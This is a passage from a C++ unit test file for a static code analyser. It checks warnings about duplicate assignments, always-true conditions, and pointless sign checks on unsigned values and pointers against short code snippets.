};\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = f();\\n\"\n \" int j = f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = ++x;\\n\"\n \" int j = ++x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x++;\\n\"\n \" int j = x++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = --x;\\n\"\n \" int j = --x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x--;\\n\"\n \" int j = x--;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x + 1;\\n\"\n \" int j = 1 + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateVarExpressionUnique() {\n check(\"struct SW { int first; };\\n\"\n \"void foo(SW* x) {\\n\"\n \" int start = x->first;\\n\"\n \" int end = x->first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'start' and 'end'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:2:14]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct SW { int first; };\\n\"\n \"void foo(SW* x, int i, int j) {\\n\"\n \" int start = x->first;\\n\"\n \" int end = x->first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'start' and 'end'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:2:14]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct Foo { int f() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"void test(const int * p) {\\n\"\n \" int i = *p;\\n\"\n \" int j = *p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g(int) const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void duplicateVarExpressionAssign() {\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(i);\\n\"\n \" i = j;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" j = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" if (i == j) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:3:14] -> [test.cpp:4:14] -> [test.cpp:6:11]: (style) The comparison 'i == j' is always true because 'i' and 'j' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" if (i == a.x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:3:14] -> [test.cpp:6:11]: (style) The comparison 'i == a.x' is always true because 'i' and 'a.x' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(i);\\n\"\n \" if (j == a.x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:4:14] -> [test.cpp:6:11]: (style) The comparison 'j == a.x' is always true because 'j' and 'a.x' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n // Issue #8612\n check(\"struct P\\n\"\n \"{\\n\"\n \" void func();\\n\"\n \" bool operator==(const P&) const;\\n\"\n \"};\\n\"\n \"struct X\\n\"\n \"{\\n\"\n \" P first;\\n\"\n \" P second;\\n\"\n \"};\\n\"\n \"bool bar();\\n\"\n \"void baz(const P&);\\n\"\n \"void foo(const X& x)\\n\"\n \"{\\n\"\n \" P current = x.first;\\n\"\n \" P previous = x.first;\\n\"\n \" while (true)\\n\"\n \" {\\n\"\n \" baz(current);\\n\"\n \" if (bar() && previous == current)\\n\"\n \" {\\n\"\n \" current.func();\\n\"\n \" }\\n\"\n \" previous = current;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:16:7] -> [test.cpp:15:7]: (style, inconclusive) Same expression used in consecutive assignments of 'current' and 'previous'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void duplicateVarExpressionCrash() {\n // Issue #8624\n check(\"struct X {\\n\"\n \" X();\\n\"\n \" int f() const;\\n\"\n \"};\\n\"\n \"void run() {\\n\"\n \" X x;\\n\"\n \" int a = x.f();\\n\"\n \" int b = x.f();\\n\"\n \" (void)a;\\n\"\n \" (void)b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:13] -> [test.cpp:7:13]: (style, inconclusive) Same expression used in consecutive assignments of 'a' and 'b'. [duplicateAssignExpression]\\n\", errout_str());\n\n // Issue #8712\n check(\"void f() {\\n\"\n \" unsigned char d;\\n\"\n \" d = d % 5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template \\n\"\n \"T f() {\\n\"\n \" T x = T();\\n\"\n \"}\\n\"\n \"int &a = f();\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Issue #8713\n check(\"class A {\\n\"\n \" int64_t B = 32768;\\n\"\n \" P m = MakeP(B);\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" uint32_t a = 42;\\n\"\n \" uint32_t b = uint32_t(A ::B / 1024);\\n\"\n \" int32_t c = int32_t(a / b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Issue #8709\n check(\"a b;\\n\"\n \"void c() {\\n\"\n \" switch (d) { case b:; }\\n\"\n \" double e(b);\\n\"\n \" if(e <= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10718\n // Should probably not be inconclusive\n check(\"struct a {\\n\"\n \" int b() const;\\n\"\n \" auto c() -> decltype(0) {\\n\"\n \" a d;\\n\"\n \" int e = d.b(), f = d.b();\\n\"\n \" return e + f;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:20] -> [test.cpp:5:9]: (style, inconclusive) Same expression used in consecutive assignments of 'e' and 'f'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void multiConditionSameExpression() {\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) continue;\\n\"\n \" if ((val > 0)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:12]: (style) The comparison 'val > 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" int *p = &val;n\"\n \" val = 1;\\n\"\n \" if (*p < 0) continue;\\n\"\n \" if ((*p > 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:8]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" int *p = &val;\\n\"\n \" if (*p < 0) continue;\\n\"\n \" if ((*p > 0)) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2] -> [test.cpp:3]: (style) The comparison '*p < 0' is always false.\\n\"\n \"[test.cpp:2] -> [test.cpp:4]: (style) The comparison '*p > 0' is always false.\\n\",\n \"[test.cpp:3:8]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) {\\n\"\n \" if ((val > 0)) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:14]: (style) The comparison 'val > 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) {\\n\"\n \" if ((val < 0)) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:14]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int activate = 0;\\n\"\n \" int foo = 0;\\n\"\n \" if (activate) {}\\n\"\n \" else if (foo) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSignOfUnsignedVariable() {\n check(\"void foo() {\\n\"\n \" for(unsigned char i = 10; i >= 0; i--) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Unsigned expression 'i' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(bool b) {\\n\"\n \" for(unsigned int i = 10; b || i >= 0; i--) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:35]: (style) Unsigned expression 'i' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(unsigned int x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x < 0u) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n const char code[] = \"void foo(unsigned x) {\\n\"\n \" int y = 0;\\n\"\n \" if (x < y) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n check(\"void foo(unsigned x) {\\n\"\n \" int y = 0;\\n\"\n \" if (b)\\n\"\n \" y = 1;\\n\"\n \" if (x < y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0UL > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x, unsigned y) {\\n\"\n \" if (x - y >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Unsigned expression 'x-y' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x >= 0ull) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0ll <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x < 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x < 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (0 > x && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (0 > x && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x >= 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x >= 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && 0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && 0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x < 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x < 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (0 > x || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (0 > x || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x >= 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x >= 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3233 - FP when template is used (template parameter is numeric constant)\n {\n const char code[] = \"template void foo(unsigned int x) {\\n\"\n \" if (x <= n);\\n\"\n \"}\\n\"\n \"foo<0>();\";\n check(code, true, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(code, true, true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"template void foo(unsigned int x) {\\n\"\n \"if (x <= 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n\n // #8836\n check(\"uint32_t value = 0xFUL;\\n\"\n \"void f() {\\n\"\n \" if (value < 0u)\\n\"\n \" {\\n\"\n \" value = 0u;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Checking if unsigned expression 'value' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n // #9040\n /*const*/ Settings settings1 = settingsBuilder().platform(Platform::Type::Win64).build();\n check(\"using BOOL = unsigned;\\n\"\n \"int i;\\n\"\n \"bool f() {\\n\"\n \" return i >= 0;\\n\"\n \"}\\n\", &settings1);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10612\n check(\"void f(void) {\\n\"\n \" const uint32_t x = 0;\\n\"\n \" constexpr const auto y = 0xFFFFU;\\n\"\n \" if (y < x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Checking if unsigned expression 'y' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n // #12387\n check(\"template\\n\"\n \"void f(T t) {\\n\"\n \" if constexpr (std::numeric_limits::is_signed) {\\n\"\n \" if (t < 0) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" f(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13734\n check(\"void f() {\\n\"\n \" uint8_t a[N + 1];\\n\"\n \" for (unsigned p = 0; p < (sizeof(a) / sizeof((a)[0])); ++p) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSignOfPointer() {\n check(\"void foo(const int* x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(const int* x) {\\n\"\n \" int y = 0;\\n\"\n \" if (x >= y) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n }\n check(\"void foo(const int* x) {\\n\"\n \" if (*x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(const int* x) {\\n\"\n \" unsigned y = 0u;\\n\"\n \" if (x < y) {}\\n\"\n \"}\";\n\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n }\n\n check(\"void foo(const int* x) {\\n\"\n \" if (*x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y <= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y > 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const Bar* x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first) {\\n\"\n \" if (first.ptr >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\"\n \"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if((first.ptr - second.ptr) >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first) {\\n\"\n \" if((first.ptr) >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:18]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\"\n \"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 <= first.ptr - second.ptr) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 <= (first.ptr - second.ptr)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(first.ptr - second.ptr < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if((first.ptr - second.ptr) < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 > first.ptr - second.ptr) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 > (first.ptr - second.ptr)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (0 <= x[0]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 <= x.y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 <= x->y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x, Bar* y) {\\n\"\n \" if (0 <= x->y - y->y ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:23]: (style) Parameter 'y' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void foo(const Bar* x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is 